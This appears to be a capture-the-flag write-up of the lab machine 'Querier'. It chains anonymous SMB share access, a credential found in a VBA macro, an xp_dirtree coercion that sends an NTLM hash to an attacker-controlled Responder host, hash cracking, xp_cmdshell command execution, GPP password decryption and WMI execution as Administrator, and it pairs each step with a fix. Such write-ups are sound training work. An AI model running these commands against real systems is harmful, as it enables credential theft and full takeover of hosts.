Querier
Summary
I scanned the Windows Server 2019 host QUERIER ($TARGET, domain HTB.LOCAL) and found SMB accepting unauthenticated null sessions with a publicly readable non-default share named Reports. That share held a macro-enabled Excel workbook whose VBA code contained a hardcoded SQL Server credential.
Using those credentials to log into SQL Server 2017 via Windows authentication, I abused the built-in xp_dirtree stored procedure to coerce the SQL Server service account (mssql-svc) into sending its NetNTLMv2 hash to a rogue SMB listener; cracking the hash offline produced the service account password. With the service account's SQL session, xp_cmdshell was re-enabled and used to execute OS commands, yielding the user flag.
A recursive filesystem search through xp_cmdshell located a cached Group Policy Preferences file containing an AES-encrypted local Administrator password — a password Microsoft's own published key can decrypt in seconds. Full Administrator access was then obtained via WMI remote execution, and the root flag was read from the Administrator's Desktop.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <cpassword_value> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Service-version scan of all key ports.
$ nmap -sV -p 135,139,445,1433,5985,47001 $TARGETEnumerate shares via SMB null session; confirms anonymous read on Reports.
$ nxc smb $TARGET -u '' -p '' --sharesFixDisable SMB null sessions and restrict share access to authenticated usersHigh
Exact commands 1
List and download all files from the Reports share with no authentication.
$ smbclient -N //$TARGET/Reports -c 'ls; prompt off; mget *'Exact commands 2
Unpack the Office Open XML container to expose xl/vbaProject.bin.
$ unzip -q 'Currency Volume Report.xlsm' -d xlsm_extractedParse the VBA binary and print all macro source, including any embedded credential strings.
$ olevba 'Currency Volume Report.xlsm'FixRemove hardcoded credentials from Office documents and VBA macrosCritical
Exact commands 3
Start the rogue SMB/NTLM capture listener on my VPN interface; run in the background.
$ sudo responder -I tun0 -vAuthenticate to MSSQL using Windows auth with the macro-extracted credential.
$ impacket-mssqlclient "QUERIER/reporting:$PASSWORD2@$TARGET" -windows-authRun inside the mssqlclient session; forces mssql-svc to authenticate outbound to the Responder listener. Replace $ATTACKER_IP with your tun0 address.
$ EXEC master..xp_dirtree "\\$ATTACKER_IP\share";FixBlock outbound SMB from SQL Server and restrict xp_dirtree executionHigh
Exact commands 2
Retrieve the full NTLMv2 hash string from Responder's log.
$ cat /usr/share/responder/logs/SMB-NTLMv2-SSP-$TARGET.txtMode 5600 targets NetNTLMv2. Paste the full hash line from Responder into mssql-svc.hash first.
$ hashcat -m 5600 mssql-svc.hash /usr/share/wordlists/rockyou.txt --forceExact commands 3
Re-authenticate to MSSQL as the cracked service account, which has sysadmin rights.
$ impacket-mssqlclient "QUERIER/mssql-svc:$PASSWORD3@$TARGET" -windows-authRun inside the mssqlclient session to re-enable the xp_cmdshell stored procedure.
$ EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;Read the user flag through the SQL OS-command bridge.
$ EXEC xp_cmdshell 'type C:\Users\mssql-svc\Desktop\user.txt';FixDisable xp_cmdshell and lock down SQL Server extended stored proceduresCritical
Exact commands 3
Search for cached GPP credential files via the SQL OS shell.
$ EXEC xp_cmdshell 'dir /s /b "C:\ProgramData\Microsoft\Group Policy\History\*Groups.xml" 2^>nul';Read the file and copy the cpassword value from the XML.
$ EXEC xp_cmdshell 'type "C:\ProgramData\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml"';Decrypt using the publicly known Microsoft AES key. Replace <cpassword_value> with the base64 string from the XML attribute.
$ gpp-decrypt <cpassword_value>FixPurge cached GPP credentials and deploy LAPS for local Administrator password managementCritical
Exact commands 2
Single-command WMI execution as Administrator; read the root flag.
$ impacket-wmiexec "QUERIER/Administrator:$PASSWORD@$TARGET" 'cmd /c type C:\Users\Administrator\Desktop\root.txt'Alternative: interactive WinRM session as Administrator using the open port 5985.
$ evil-winrm -i $TARGET -u Administrator -p "$PASSWORD"Exposed services
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 445/tcp | microsoft-ds? |
| 1433/tcp | ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 47001/tcp | unknown recon-sweep-discovered |
| 49664/tcp | unknown recon-sweep-discovered |
| 49665/tcp | unknown recon-sweep-discovered |
| 49666/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49668/tcp | unknown recon-sweep-discovered |
| 49669/tcp | unknown recon-sweep-discovered |
| 49670/tcp | unknown recon-sweep-discovered |
| 49671/tcp | unknown recon-sweep-discovered |